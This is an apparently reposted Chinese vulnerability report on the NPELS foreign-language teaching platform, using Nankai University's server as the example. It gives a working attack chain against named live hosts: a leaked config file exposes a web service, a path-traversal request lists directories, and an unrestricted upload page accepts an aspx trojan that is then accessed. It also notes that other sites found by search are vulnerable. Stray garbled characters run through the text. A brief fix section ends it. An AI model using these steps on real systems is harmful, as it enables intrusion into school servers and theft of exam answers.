新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
: Q; Q% w/ u: m5 X$ D
% J! w, g1 S* p- h# g% C详细说明：

以南开大学的为例:
5 X: t) ]! G+ i2 v. h) d8 g. o9 a9 Ahttp://222.30.60.3/NPELS
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
8 A" J* j3 p3 a" q' w5 I9 [<setting name="Update_CommonSvr_CommonService" serializeAs="String">
<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
( X0 _  J* ^: e3 S/ `5 [</setting>
及版本号
+ S& a0 y+ d0 w6 f<add key="TVersion" value="1, 0, 0, 2187">
7 i2 w4 u6 p; b9 \  C  s% g</add>
直接访问
' X2 m/ l2 ~* t# M! \6 F' \http://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
. ?$ V3 {' D3 ^http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
/ P. }5 T! K& f( B2 ehttp://222.30.60.3/NPELS/CommonS ... List?version=../../

: ]( c8 f" ^& ~  S5 X发现
! G2 E4 N8 k3 ?# X" w, vhttp://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
0 N: K/ b) G  _- Y% z可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可

OOXX
. z& t. a' O# Q* ?6 p' T2 ^, l# y
- t1 c, ?5 _* j! }1 l! fGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
; l1 k" H# w2 h) u  i) h3 B漏洞证明：
/ f5 I, x3 Q0 ^% e; \: _: W/ j
6 t1 `1 t4 t9 `9 X列目录：
6 p0 u% b  G7 r- X! Whttp://222.30.60.3/NPELS/CommonS ... List?version=../../
: N  I. o6 p8 \1 h% y3 J文件上传：
% f6 f7 u: s8 \; O! \http://222.30.60.3/npelsv/editor/editor.htm

上传木马：
# P& [% R3 ?& |. H, z( c1 Phttp://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
' ~' L$ ^( w9 _# _/ H
修复方案：
9 g& O. g& X! ?) S: ?; Z3 f/ s好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
" {% {) @. P: F